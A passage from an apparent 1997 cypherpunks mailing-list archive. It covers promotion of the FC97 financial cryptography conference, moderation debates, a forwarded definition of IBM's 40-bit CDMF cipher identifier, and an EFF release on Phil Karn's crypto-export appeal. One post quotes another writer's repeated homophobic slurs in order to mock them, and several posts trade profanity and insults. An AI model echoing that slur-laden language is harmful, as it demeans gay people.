knew I needed someone who could professionally manage a small but
high-profile conference and exhibition, and I asked Julie to help us out.
When we thought we couldn't do this without corporate sponsorship to cover
our sunk costs, Julie stepped up and took on raising that too, even though
it later turned out that we really didn't need sponsorships to make FC97
fly.  ("Bootstrap" is now our collective middle name...)

Anyway, we're still taking booth orders -- each booth ($5,000) includes 2
complimentary tickets to the FC97 conference -- and Julie's the contact for
that <mailto:rackliffe@tcm.org>. Also, if your corporation wants to sponsor
(for $10,000) an official, FC97-sanctioned, :-), lunch or dinner with
accompanying recreational/schmooze opportunity, we'd be more than happy to
oblige. You get a banner ad on the web site, your company's name on our
outbound correspondence (see above), a nice discount on boothspace, and 4
conference tickets. And a tatoo on my forehead. Okay. Maybe not a tatoo on
my forehead. Since I had to licence the name "Bob" from Microsoft a couple
of years ago, there's not much room up there next to the Windows 95 logo,
anyway. Again, email Julie <mailto:rackliffe@tcm.org> for information on
sponsorships, and we'll *talk* about the tatoo. So, much thanks to Julie,
who's also going to actually manage the conference,logistically and
administratively, during the week of FC97, for all the work *she's* going
to do, too.

Finally, I want to thank someone who's not officially on the FC97 team.
That person is Sameer Parekh of C2NET. Not only is he going to buy a booth
at the FC97 Exhibition, he also graciously donated a copy of Stronghold,
which we're going to be using as the Official Commerce Server of the FC97
Workshop, Exhibition and Conference. We're going to be teaching financial
cryptography with Stronghold in the workshop (and Ian's new ecash server,
by the way...), and it will be taking orders on www.offshore.com.ai real
soon now. In ecash, among other things, which he'll be using to actually
purchase his booth from us. Thank you very much Sameer. In that regard, we
also want to thank Lucky Green <shamrock@netcom.com> who got us set up with
the ecash shopware to make digital cash transactions possible for FC97.
Thank you very much, Lucky.

<Shameless-Huckster-Mode, RDF=11>

Okay. Now I'm going to talk about why it's in *your* best interest to
*immediately* go to <http://www.offshore.com.ai/fc97/>, shell out big
bucks, and register for either the conference ($1,000. Nice round tax-free
numbers, remember?) or the workshop and conference ($6,000 total), or the
exhibition (booths start at $5,000), or even sponsor FC97 itself (for a
cool $10 grand), so that I, too, can go to Anguilla, and not shovel snow in
Boston in February. Like the rest of this rant, feel free to hack out some
of the points below and paste them into any appropriate form or
application if you need them to justify your trip to someone with
budgetary authority. :-). If you need better reasons, let me know,
<mailto:rah@shipwright.com>, and I'll think up some more. One of them has to
stick. It *has* to, or <shivver> I have a date with a snow shovel this
February.


1. FC97's in Anguilla. It doesn't snow in Anguilla. :-).

2. FC97 is the very first conference ever on financial cryptography. If you
go there, you'll make history. Since financial cryptography will change the
face of economics and finance as we know it, you'll make economic and
financial history. Since economic and finance make the world go 'round,
you'll make world history. Pick a history. Any history. You'll have made
it. But, you've gotta *be* there to do it.

3. The papers at FC97 will be peer-reviewed, and FC97 is sanctioned by
International Association for Cryptologic Research. The papers to be
presented at FC97 are being reviewed by some of the best people in the
field, and the papers themselves will represent the best thinking in
financial cryptography today.

4. The people who wrote the papers will be right there for you to talk to,
because they've all committed to come if their papers are accepted.

5. FC97, like the Cannes Film Festival, was designed not only to show
the state of the art in the financial cryptography business, but to provide
time and space for that business to take place. There is exhibition space
so that people can display their technology. The conference runs from 08:30
to 12:30 (with breakfast provided, to get you there that early), so that
the afternoons and evenings can be used for business networking, for
corporate presentations, or for individual or group recreational
opportunities. Participants are encouraged to bring their families.

6. FC97 is in Anguilla. Anguilla is an interesting spot, politically and
economically. It has no taxes of any kind except import duties (no,
bringing your laptop to Anguilla is not importing it, because you're taking
it home with you), and would be a great place to run an offshore
transaction server, which, of course, is why people like Vince Cate are
there now. In addition, having FC97 in Anguilla proves the futility of the
current US cryptography control regime. We will have all kinds of
cryptographically strong financial technology at FC97. That includes
C2NET's Stronghold product, through which FC97's own registration
transactions are being processed, and which we will be using in the
workshop to instruct people in financial cryptography systems development
and implementation. All of that technology will get to Anguilla, a tiny
speck in the Carribbean Sea, just fine -- *without* being exported from the
US.

7. If you were interested in negotiating with foriegn cryptographic
businesses to *import* their technology into the US (a sad state of
affairs, but a fact of the modern market), or, in contracting with foriegn
businesses to license your cryptographic technology overseas within the
limits of the ITARs or EARs, FC97 would seem to be an ideal time and place
to do so. The market for financial cryptography is changing dramatically,
and Anguilla will have the highest concentration of
financial-crypto-clueful on the planet for the week of FC97. All of them
talking to each other, networking, and doing deals. It is an opportunity
which any prudent business developing financial cryptography, or
significantly affected by it, should not ignore.

8. FC97 is chance for those of us who only know each other on the net to
actually meet face to face and start to develop the kind of personal
relationships and trust we'll all need to create the future of finance on
the internet. Since legal enforcement of contract on a ubiquitous
international network will be at best problematic, if not impossible,
reputation and character will be the only enforcement mechanism we'll have
for quite a while yet. (Actually, if it was good enough for J.Pierpont
Morgan and the Rothschilds, it's probably good enough for us.)  And, while
the whole point to financial cryptography is that we won't need to have
face-to-face contact for financial relationships, much less regulation,
there's still, currently, more bandwidth in a conversation on an Anguillan
beach to develop that trust relationship than there is anywhere on the
internet. So, at the core of the business, people are going to have to
actually *know* each other, at least until the market gets too competitive.
This is no different from any other nacent software market. Steven Levy, in
"Hackers", talks about how computer game software firms, ostensibly
competitors, used to vaction with each other in the early development of
that business. That makes sense. One of the reasons that Peter Cassidy and
I started DCSB was so we would have a place to go to talk financial crypto
with other people who actually cared about it. Do it for week, and add a
beach and beautiful weather, and you've got FC97.

9. The FC97 workshop, February 17-21, is being taught by some of the best
implementors of cryptography technology today. Ian Goldberg
<mailto:iang@cs.berkeley.edu>, the workshop chair, knows more about the
nuts and bolts, the implementation and construction of financial
cryptography systems, particularly new systems using so-called digital
bearer certificates, than probably any other person alive, including the
people who invented and sell the technology itself. The people he's picked
to teach the workshop with him have the most hands-on experience in
developing and implementing cryptography, particularly in a financial
context, of anyone in the world today. People who take the workshop will
learn which cryptography is strong cryptography, what isn't, and why. They
will learn all the current and proposed internet payment systems out there,
which ones are worth knowing about, which ones aren't, and how to tell
whether a new system is worth learning. They will learn how to set up a
secure internet site from scratch. They will learn how to build a
transaction server on that site which will use any of the current popular
transaction protocols. And, finally, at the very frontier of financial
cryptography, workshop attendees will learn the theory and operation of
systems for handling and issuing digital bearer certificates. Systems which
do not rely on offsetting book-entries, or financial regulators, to settle
issues of non-repudiation, and are thus well suited to ubiquitous worldwide
commerce. The workshop will consist of 40 hours of intensive instruction
and lab time, with a 24-hour open lab and T1 internet access. The workshop
admission is limited to 20 attendees. The cost of the workshop is $5,000.

10. It's in Anguilla. There's no snow in Anguilla.

</SHM, RDF=0> :-).


Okay. I've ranted. There will be more later, certainly. I expect there to
be a press release from C2NET about Stronghold at FC97, and the purchase of
their booth in ecash. And, as we sell more booths, press releases from the
companies who buy those booths, about their products, and why they've
decided to go to FC97. Again, if you're interested in buying a booth at
FC97, please contact Julie Rackliffe,  <mailto: rackliffe@tcm.org>.

Sometime next week Ian Goldberg <mailto:iang@cs.berkeley.edu>, will come
out with more formal information about the FC97 Workshop. If you know
anyone who could benefit from such an experience, please have them contact
Ian for details.

Shortly after the 18th, expect to see, from Ray Hirschfeld, the selected
papers and the actual agenda for the conference itself.

So, if you have any questions about Anguilla itself, send them to Vince
Cate <mailto: vince@offshore.com.ai>. If you have any questions about the
content of the conference, you can send them to Ray Hirschfeld <mailto:
R.Hirschfeld@cwi.nl>, but, bear in mind, he and the program committee are
behind the old chinese wall right now, reading papers, so you probably
won't get an answer from him until the papers are selected and the agenda
announced. If you want a booth or to sponsor the conference, contact Julie
Rackliffe <mailto: rackliffe@tcm.org>. If you want to talk about the
workshop before Ian Goldberg <mailto:iang@cs.berkeley.edu>, cranks out the
formal call for participants please contact him, because the contents of
the workshop will depend to a great deal on the initial skill set of the
participants.

And, of course, if you want to thrash me about the length or content of
this rant, feel free. All errors are mine, especially those said in
shameless-huckster-mode. :-). <mailto:rah@shipwright.com>

Finally, the website for FC97 is <http://www.offshore.com.ai/fc97/>.
Register now. Please. My toes are *cold* already...


Cheers,
Bob Hettinga
(one of two) General Chair(s, the other is Vince Cate),
Financial Cryptography 1997

Conference and Exhibition: February 24-28, 1997
Workshop: February 17-21, 1997
http://offshore.com.ai/fc97/

Sponsors:
The Journal for Internet Banking and Commerce
<http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services
<http://www.offshore.com.ai/>
e$
<http://www.vmeng.com/rah/>
See your name here :-)
<mailto:rackliffe@tcm.org>

-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 13:32:54 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <Pine.SUN.3.94.970105222016.23091B-100000@polaris>
Message-ID: <Pine.SUN.3.91.970108130901.28929H-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 5 Jan 1997, Black Unicorn wrote:

> How will borderline posts be dealt with?  Posts that contain a great deal
> of content and thoughful discussion and still manage to contain flames?
> 
> Will flames be an automatic boot for a post (zero tolerance), or will they
> be balanced against post content?

Zero tolerance will be my first approximation.  I may modify 
that as I see how things really work out.  So far, though, I
don't recall see any of those "high content with flames" animals.
Most posts are one or the other.
 
> What is the threshold which, for example, constitutes an "insult" ?
> 
> "Louis Freeh couldn't identify a directed well managed crypto policy if it
> bit him on his pimple speckled ass."

Truth (and relevance) are a defense.  :-)
 
> "You are so turned around on this issue one is prompted to wonder if you
> have any background in higher education at all."
> 
> "For the new members of the list, [insert list member here] has a history
> of posting idiotic and useless posts, and generally wasting the list's
> time like an asshole."
> 
> All of the above?  None of the above?

Sorry Black Unicorn, no declaratory judgments.  Everything gets
posted one way or another.  Let's see how it works in the real
world.
 
> I believe the "flames" list should be maintained as long as possible.
> Continuing checks on the moderator (whoever it may be) are necessary and
> appropriate.  What better way than to directly provide a means to identify
> what the moderator has excluded?

This is my opinion as well.  However, John makes the very good
point that the unedited list has one very important advantage--
timeliness.  The other two lists (polite and flames) have a 
build in delay time because of the moderation.  I don't see it
as a problem, but John feels that quick turnaround is an 
advantage that some list members would prefer.
 
> A diversity of moderators makes a detailed stated policy on moderation an
> absolute must.

I agree.  We are not at that stage yet, however.  We are still
finding our sea legs for now.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 14:09:11 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701060416.WAA04436@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970108132316.28929I-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 5 Jan 1997 ichudov@algebra.com wrote:

> Moderation may or may not be a good idea, but it is important that 
> readership keeps a close eye on their rulers.

I agree with Igor or this.  That's why nothing will be dropped,
only sorted.  I encourage Igor and anyone else who is concerned
to "check my work."


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 13:47:29 -0800 (PST)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experim
In-Reply-To: <199701061046.CAA22622@adnetsol.adnetsol.com>
Message-ID: <Pine.SUN.3.91.970108133332.28929J-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 6 Jan 1997, Ross Wright wrote:

> So my question is: is there going to be a maximum number of times I
> can say fuck in a good post?

Fuck no.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 12:17:03 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: IBM Key Recovery Propaganda on United Airlines
In-Reply-To: <1.5.4.32.19970108095456.003811e4@popd.ix.netcom.com>
Message-ID: <32D4142E.CB8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> The commercials between the movie and news show on the airline include an
> IBM spot on their new Key Recovery software.  Sigh.
> 
> The explanations they gave were mixed; one person was talking about
> making sure that if you lose the key that people with a legitimate need
> to access the material can do it. 

  Like the legitimate leader of a country, say, for instance...Hitler?
Or a legitimate law enforcement agency, say, for instance...the Gestapo?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 8 Jan 1997 11:02:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Algorithm Identifier for CDMF
Message-ID: <v03007898aef99c6d0e1d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


Grab your ankles, ladies and gents. This won't hurt a bit...

Cheers,
Bob Hettinga

<Wait, isn't that a freight train in the distance?>

--- begin forwarded text


From: Bob Baldwin <baldwin@rsa.com>
To: "'set-dev'" <set-dev@terisa.com>
Subject: Algorithm Identifier for CDMF
Date: Wed, 8 Jan 1997 09:41:08 -0800
Mime-Version: 1.0
Sender: owner-set-dev@terisa.com
Precedence: bulk

	The SET protocol needs an algorithm identifier
for a 40 bit variant of des called CDMF for use
with the AcqBackMsg.  This note defines the value for
that identifier.
		--Bob Baldwin

--------------------------

          ALGORITHM IDENTIFIER FOR IBM's CDMF ALGORITHM


INTRODUCTION

The Commercial Data Masking Facility (CDMF) is an
application of DES that weakens the DES key from
56 to 40 bits using a key shortening algorithm
patented by IBM.  Licensing information for the CDMF
patent is available from the Director of Licensing,
IBM Corporation, 500 Columbus Avenue, Thornwood, NY 10594.

This note defines the ASN.1 algorithm identifier and algorithm
parameters for IBM's CDMF that has been registered by RSA Data
Security Inc.

RSA Data Security, Inc.'s Open Systems Interconnection (OSI) object
identifier is 1.2.840.113549 (2a, 0x86, 0x48, 0x86, 0xf7, 0x0d in hex),
as registered by the American National Standards Institute (ANSI).
In the following, the prefix "rsadsi" refers to that object identifier.
All object identifiers registered by RSA Data Security begin with this
prefix.


CDMFCBCPad

This is a Cipher Block Chaining mode of operation with padding
of a 40-bit variant of DES. It is defined in:

  IBM Journal of Research and Development, "The Commercial Data
  Masking Facility (CDMF) Data Privacy Algorithm", Volume 38,
  Number 2, March 1994.

Following the ASN.1 style of the "Agreements for Open Systems
Interconnection Protocols: Part 12 OS Security", it is defined by:

ALGORITHM MACRO ::=
BEGIN
 TYPE NOTATION ::= "PARAMETER" type
 VALUE NOTATION ::= value(VALUE OBJECT IDENTIFIER)
END -- of ALGORITHM

IV8 ::= OCTET STRING (SIZE(8))

CBC8Parameter ::= IV8

CDMFCBCPad ALGORITHM
 PARAMETER CBC8Parameter
 ::= {iso(1) member-body(2) US(840) rsadsi(113549)
      encryptionAlgorithm(3) 10}
-- In hex, the CDMFCBCPad algorithm ID is:
-- { 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x03, 0x0A }

The PARAMETER is needed to specify the Initialization Vector,
which need not be kept secret. It is 8 octets long.

This mode should be used to encrypt multiple blocks, where the
full message is available. The random IV prevents codebook
analysis of the start of the chain. The IV may be public.

This mode will propagate a single bit error in one plaintext
block into all succeeding blocks, and will propagate a single bit
error in the ciphertext into a garbled plaintext block on
decryption as well as a single bit error in the next plaintext
block.

The following padding mechanism should be used if the data
to be encrypted is octet aligned, unless the security policy
dictates otherwise:

The input to the CDMF CBC encryption process must be padded to a
multiple of 8 octet, in the following manner.  Let n be the
length in octets of the input. Pad the input by appending 8-(n
mod 8) octet to the end of the message, each having the value
8-(n mod 8), the number of octets being added. In hexadecimal,
the  possible paddings  are: 01,  0202, 030303,  04040404,
0505050505, 060606060606, 07070707070707, and 0808080808080808.
All input is padded with 1 to 8 octets to produce a multiple of 8
octets in length. The padding can be removed unambiguously after
decryption.

Editor's Note - If adding the padding rules would cause
existing implementations to break, this should be registered
as a separate algorithm identifier.  Note, however, that
[FIPS 81] specifies its own padding rules for padding binary
data, in the absence of application-defined rules such as
those above; those rules require an indication (which could
be conveyed as an algorithm PARAMETER) of whether the data
has been padded or not.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Wed, 8 Jan 1997 14:11:35 -0800 (PST)
To: "Thaddeus J. Beier" <thad@hammerhead.com>
Subject: Re: Moderation
In-Reply-To: <199701070055.QAA11918@hammerhead.com>
Message-ID: <Pine.SUN.3.91.970108140101.28929N-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 6 Jan 1997, Thaddeus J. Beier wrote:

> I would attempt to prohibit threads that only exist in cypherpunks-flames
> being continued into the moderated list.  This'll be hard to do, Sandy,
> I know, but if you could think of a way to do this, I think that your
> experiment is more likely to succeed.
> 
> Phrases like "As I said in the letter that only got sent to
> cypherpunks-flames" should cause the whole article to be yanked,
> IMHO.

That's my opinion as well.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 8 Jan 1997 13:34:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
In-Reply-To: <32D39684.285B@liasec.infolink.co.za>
Message-ID: <NL98ZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Path: perun!news2.panix.com!panix!news.mathworks.com!newsfeed.internetmci.com!hunter.premier.net!news-peer.gsl.net!news.gsl.net!news-dc.gsl.net!news.gsl.net!news.sprintlink.co.za!NEWS!not-for-mail
From: Pierre van Rooyen <jvrooyen@liasec.infolink.co.za>
Newsgroups: alt.security
Subject: encryption program
Message-ID: <32D39684.285B@liasec.infolink.co.za>
Date: Wed, 08 Jan 1997 04:43:48 -0800
Organization: Secunda
Lines: 22
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

If you are familiar with encryption please help me with the following

Firstly I want to know if there are a encryption program currently used 
that are completely succure from hackers.  In other words, information 
encrypted that no person is able to decrypt.  Well if there isn't such a 
program I really think I have one that I have written myself.  It is 
simple text that I have encrypted and so far no one was able to decrypt 
it.  You can go and have a look yourself at 
http://www.lia.net/pvrooyen/encrypt.txt
(CLICK HERE to go 
there now)

If you think this program can be used please reply to this letter and I 
will give you more information.

**PLEASE reply via e-mail ---> <a 
href="mailto:jvrooyen@liasec.infolink.co.za">CLICK HERE</a> to reply now.

Hope to hear from you soon.

Regards
Pierre van Rooyen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brett Carswell <brettc@tritro.com.au>
Date: Tue, 7 Jan 1997 20:27:24 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: The FAGGOT list
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970108042708Z-100@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain



Aga Wrote:
>
>That is another FAGGOT coming out of the woodwork!
>> > Just how many KNOWN faggots are on this list?
[snippo]
>
>Most of the above men are apparently FAGGOTS, since they
>conspire to censor Freedom Of Speech on the InterNet, under
>the guise of "spam elimination."  Actually, is all a front
>for censorship by homosexuals on the InterNet.
>[more snippo]
>> > All of these who are faggots must be labeled
>> > and watched, as we know that faggots are the worst censors.

Could someone please forward me the URL of the FAGGOT (are the caps
manditory?) detecting software for mailing lists. I feel pretty left out
as almost everyone else know who the FAGGOTS are. Is this the same
software that detects Cocksuckers or does Dr Dimitri have something of
his own. Maybe we could all band together and come up with something
that detects Nazi moderators as well.

Brett




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 8 Jan 1997 14:37:21 -0800 (PST)
To: unicorn@schloss.li
Subject: Re: [STATS] Cypherpunks subscriptions on and off
Message-ID: <199701082237.OAA02999@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn writes:
> More fear from Mr. Thorn that his own time in the spotlight might be
> drawing to a close.  God forbid his captive audience might vanish.

Tell me, how can an audience be captive when they control the "delete"
key? 
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

A voice whispered to me last night. It said: "There is no such thing
as a voice whispering in the night!" 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 8 Jan 1997 13:11:04 -0800 (PST)
To: "David K. Merriman" <merriman@amaonline.com>
Subject: Re: Keyserver Draft
In-Reply-To: <199701081428.GAA11007@toad.com>
Message-ID: <32D42319.540D@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


David K. Merriman wrote:
> Having gotten the subject in the spotlight (!), I'd like to clarify a couple
> of points about my draft proposal:

>  If I get a brownie point or atta-boy out of this,
> cool. If not, that's fine, too, _as long as the problem is addressed_.

         -------------------
         |     Coupon       |
         |     ------       |
         | 2 Brownie Points |
         |  (X-spendable)   |
         --------------------
> 
> We return you now to FlameFest '97 :-)

  Good. I've got to get back to see which way the wind is 'blowing'.
(and 'who')

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 8 Jan 1997 14:56:16 -0800 (PST)
To: cypherpunks, gnu
Subject: URGENT: Fri 10Jan 9:30AM Wash,DC: Karn appeals, come to the hearing!
Message-ID: <199701082255.OAA20606@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Friends of crypto freedom should definitely attend.  The courtroom
holds approximately 50 people, and we'd like to fill it.  Show Judges
Williams, Ginsburg and Rogers the importance of the case.  This is the
first time that a crypto export case has hit a Court of Appeals, and
your rights are very much at stake here.

If you're in the DC metropolitan area, come on out on Friday morning!
Show Phil Karn you support him as he challenges the export controls.  --John]

  RESEARCHER KARN APPEALS, SEEKING TO OVERTURN IRRATIONAL ENCRYPTION RULES
        "Books are OK to publish, floppies are not" policy

Washington, January 8 - Laywers for researcher Philip R. Karn, Jr.
will argue in court this Friday that Government restrictions on
distribution of encryption software violate the First and Fifth
Amendments of the Constitution, and are "arbitrary, capricious and
invalid" regulations.

This week's hearing, on January 10, 1997 at 9:30AM in the US Court of
Appeals for the District of Columbia Circuit, is open to the public at
333 Constitution Avenue, Washington DC.

The Government will argue that its rules are its own business, which
courts should not oversee, and that it is legitimate to regulate free
speech and publication when the government is uninterested in
suppressing the content thereof.  (The government actually has a
strong interest in suppressing the public's ability to understand and
deploy strong cryptography, but has managed to convince the district
court of the opposite.)

The lawsuit is complicated by the Government's introduction last month
of new encryption regulations.  President Clinton ordered on November
15 that the regulations be moved from the State Department to the
Commerce Department.  Over Christmas, the Clinton Administration
published its new Commerce Department regulations, which are
effectively identical to the State Department regulations, and put
them into immediate effect.  Mr. Karn's case only named the State
Department.  In an unusual switch, the Government is arguing that it
should be able to replace the State Department with the Commerce
Department as a defendant, in the hope of keeping the case alive.
(Most defendants would be happy to have the case disappear.  The State
Department appears to be hoping they will get a better decision in
this case than in related cases.)

The State Department regulations at issue were struck down in December
by Judge Marilyn Hall Patel in a similar case brought by Professor
Daniel Bernstein in San Francisco.  Judge Patel called the regulations
a "paradigm of standardless discretion" which required Americans to
get licenses from the government to publish information and software
about encryption.  No court has yet ruled on the new Commerce
Department regulations, which include the same provisions that were
declared unconstitutional.

"This case clearly raises an issue of fundamental importance to
cryptographers and computer programmers generally," said Kenneth Bass,
lead attorney in the case.  "The fundamental issue is how the courts
will treat computer programs.  Books are entitled to the full
protection of the First Amendment, but the trial judge in this case
decided that source code on a diskette does not enjoy that same
protection.  Programmers immediately recognize the utter irrationality
of this distinction.  We now will see whether the appeals courts will
also see it that way."

"Phil Karn's case illustrates both the irrationality of the encryption
rules and the depths of the bureaucratic mazes which protect them,"
said John Gilmore, co-founder of the Electronic Frontier Foundation,
which backed the suit.  "The idea that the First Amendment protects
the author of a book, but not the author of an identical floppy disk,
is ridiculous.  All books, magazines, and newspapers are written on
computers today before print publication, and many are also published
online.  Yet here we have Government lawyers not only defending their
right to regulate machine-readable publication, but also arguing that
the courts are not permitted to re-examine the issue.  Their argument
amounts to `Trust us with your fundamental liberties'.  Unfortunately,
a decade of NSA actions have amply demonstrated that they are happy to
sacrifice fundamental liberties when it gives them an edge in some
classified spy program.  Unless there's a clear and present danger to
our nation's physical security (which we have seen no evidence of),
our citizens' right to speak and publish freely is much more important
to American national security than any top-secret program."

Civil libertarians have long argued that encryption should be widely
deployed on the Internet and throughout society to protect privacy,
prove the authenticity of transactions, and improve computer security.
Industry has argued that the restrictions hobble them in building
secure products, both for U.S. and worldwide use, risking America's
current dominant position in computer and communications technology.
Government officials in the FBI and NSA argue that the technology is
too dangerous to permit citizens to use it, because it provides privacy
to criminals as well as ordinary citizens.

	Background on the case

Mr. Philip Karn is an engineer with a wide and varied background in
radio and wire communications.  He has given many years of volunteer
work in the amateur radio service, amateur satellite service, and in
the Internet community.  He is the author of the freely available
"KA9Q" internet software for DOS machines, which forms the basis of
many amateur radio experiments as well as several successful
commercial products.  He has written and given away various
cryptographic software, including one of the world's fastest versions
of the Data Encryption Standard (DES).  Phil also did the initial
research into encrypting Internet traffic at the packet level.  Mr.
Karn's home page is at http://www.qualcomm.com/people/pkarn/ .

In 1994, author Bruce Schneier published _Applied Cryptography_, a
best-selling encryption textbook which included some fifty pages of
encryption source code listings, including very strong algorithms such
as "Triple-DES".  As an civil libertarian, Mr. Karn asked the State
Department whether the book could be exported; they replied that it
was in the public domain and could therefore be exported.  Mr. Karn
then created a floppy disk containing the source code from the book,
and asked if the floppy could be exported.  The State Department
determined in May 1994 that the floppy was a munition.  Mr. Karn
would need to register as an arms dealer to be able to export the
disk.

After several administrative appeals, Mr. Karn filed suit in September
1995.  The suit asks a court to declare that the decision was invalid
because the distinction between publication on paper and publication
on floppies has no rational basis, and because the decision violates
Mr. Karn's right to publish the floppy.

Judge Charles R. Richey dismissed the case in a strongly-worded
36-page opinion.  "The plaintiff, in an effort to export a computer
diskette for profit, raises administrative law and meritless
constitutional claims because he and others have not been able to
persuade the Congress and the Executive Branch that the technology at
issue does not endanger the national security. This is a "political
question" for the two elected branches under Articles I and II of the
Constitution."  Mr. Karn, whose effort was motivated by concern for
civil rights rather than profit, appealed.  This week's hearing is the
first public hearing in his appeal case.

The regulations at issue in the case, which prevent American
researchers and companies from exporting cryptographic software and
hardware, are a relic of the Cold War.  The secretive National
Security Agency has built up an arcane web of complex and confusing
laws, regulations, standards, and secret interpretations for years.
These are used to force, persuade, or confuse individuals, companies,
and government departments into making it easy for NSA to wiretap and
decode all kinds of communications.  Their tendrils reach deep into
the White House, into numerous Federal agencies, and into the
Congressional Intelligence Committees.  In recent years this web is
unraveling in the face of increasing visibility, vocal public
disagreement with the spy agency's goals, commercial and political
pressure, and judicial scrutiny.

ABOUT THE ATTORNEYS

Lead counsel on the case are Kenneth C. Bass III and Thomas J. Cooper
of the Washington law firm of Venable, Baetjer, Howard & Civiletti,
who are offering their services pro bono.

ABOUT THE ELECTRONIC FRONTIER FOUNDATION

The Electronic Frontier Foundation (EFF) is a nonprofit civil
liberties organization working in the public interest to protect
privacy, free expression, and access to online resources and
information.  EFF is funding the expenses in Mr. Karn's case.

The full text of the lawsuit and other paperwork filed in the case is
available from Phil Karn's web site at:

        http://www.qualcomm.com/people/pkarn/export/index.html

SOURCE: Electronic Frontier Foundation

    CONTACT:  Ken Bass, lead attorney, +1 202 962 4890, kbass@venable.com;
or Shari Steele, EFF Staff Attorney, +1 301 375 8856, ssteele@eff.org;
or John Gilmore, EFF Board Member, +1 415 221 6524, gnu@toad.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Wed, 8 Jan 1997 12:24:49 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
